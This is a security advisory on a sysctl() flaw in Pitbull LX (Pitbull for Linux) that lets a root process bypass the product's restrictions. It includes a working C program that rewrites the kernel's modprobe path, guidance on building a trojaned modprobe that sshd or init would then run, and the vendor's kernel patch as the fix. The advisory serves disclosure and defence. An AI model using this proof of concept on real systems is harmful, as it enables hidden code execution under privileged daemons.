COMMAND
Pitbull LX
SYSTEMS AFFECTED
Pitbull LX (Pitbull For Linux), All versions
PROBLEM
Roland Postle posted following. The vulnerability stems from
Pitbull LX's failure to apply it's enhanced security features to
all the kernel variables made available in /proc/sys/. Although
the file-system will restrict access to the /proc/sys/ directory,
all these variables can be accessed through calls to sysctl()
which only checks a processes standard unix credentials. Almost
all the variables are mode 644 or 444. So any user can read the
kernel variables and a root user can modify many of them. A
process with uid 0, can thus bypass Pitbull and modify some very
sensitive kernel data. (If that last statement makes your wonder
what the problem is remember that "root means nothing on a Pitbull
system".)
By modifying kernel variables such as MaxFiles, MaxInodes and
numerous virtual memory settings system instability can be caused
but much more worringly ModProbePath can be altered to point to
malicous code. When modprobe is next execd in order to load a
module, the malicous code will be executed in the security
context of the process which requested the module. This may be
another user, init or sshd for example. Init and sshd run without
the ASG_AWARE flag, so they are immune to all pitbull security.
Fortunately all kernel variables are reset at startup which is
when the majority of modules are loaded by init (ie. Before a user
has chance to modify modprobepath). However sshd will often
attempt to load terminal emulation/character set modules everytime
a user connects to it.
The following program will modify modprobe's path:
#include <linux/unistd.h>
#include <linux/types.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);
int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp, void *newval,
size_t newlen) {
struct __sysctl_args
args = {name, nlen, oldval, oldlenp, newval, newlen};
return _sysctl(&args);
}
int variablename[] = { CTL_KERN, KERN_MODPROBE };
char oldpath[512];
int oldpathlen = 512;
char path[512];
int pathlen = 512;
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s NewModprobePath", argv[0]);
exit(0);
}
// Read kernel variable
sysctl(variablename, 2, oldpath, &oldpathlen, NULL, 0);
// Write kernel variable
sysctl(variablename, 2, path, &pathlen, argv[1], strlen(argv[1]));
printf("Old Path: %s, New Path %s\n", oldpath, argv[1]);
return 0;
}
The trojaned modprobe should call the real modprobe (usually in
/sbin/modprobe) with identical arguments except that argv[0]
_must_ be "modprobe" (or possibly "insmod") or else modprobe
claims it is being impersonated. This will ensure the relevant
module still get's loaded.
SOLUTION
Below is unofficial response. As Roland mentioned, he located a
misconfiguration in our integration of the PitBull LX technology
into the 'sysctl' system call. This system call makes a
permission to see if a user can access its functionality. 'sysctl'
allows a 'root' user to modify the modprobe kernel parameters.
Therefore, a user must first become root in order to exploit this.
In order to fix this problem, a simple security flag access check
needs to be added to this system call. Once in place, this
ability will no longer be available to attackers who are being
restricted by the PitBull LX technology.
Following is a source patch to the linux-2.2.16-argus source tree.
This patch requires the installation of
argus_kernel-source-1.0-2.2.16.i386.rpm. This package can be
found in the product directory of the installation CD.
diff -Nur linux-2.2.16/kernel/sysctl.c linux-2.2.16-argus/kernel/sysctl.c
--- linux-2.2.16/kernel/sysctl.c Fri Mar 30 15:22:03 2001
+++ linux-2.2.16-argus/kernel/sysctl.c Fri Mar 30 18:45:58 2001
@@ -1,4 +1,14 @@
/*
+ * Portions of this code Copyright (c) 2000-2001 by Argus Systems Group, Inc.
+ *
+ * http://www.argus-systems.com
+ *
+ *
+ *
+ *
+ */
+
+/*
* sysctl.c: General linux system control interface
*
* Begun 24 March 1995, Stephen Tweedie
@@ -29,6 +39,10 @@
#include <linux/nfs_fs.h>
#endif
+#ifdef CONFIG_ARGUS
+#include <linux/secmod.h>
+#endif /* CONFIG_ARGUS */
+
#if defined(CONFIG_SYSCTL)
/* External variables not in a header file. */
@@ -353,6 +367,14 @@
static int test_perm(int mode, int op)
{
+
+#ifdef CONFIG_ARGUS
+ if((op == S_IWOTH) && (SECFUNC(SECMOD_RESTRICT_SYS)))
+ {
+ return(-EACCES);
+ }
+#endif /* CONFIG_ARGUS */
+
if (!current->euid)
mode >>= 6;
else if (in_egroup_p(0))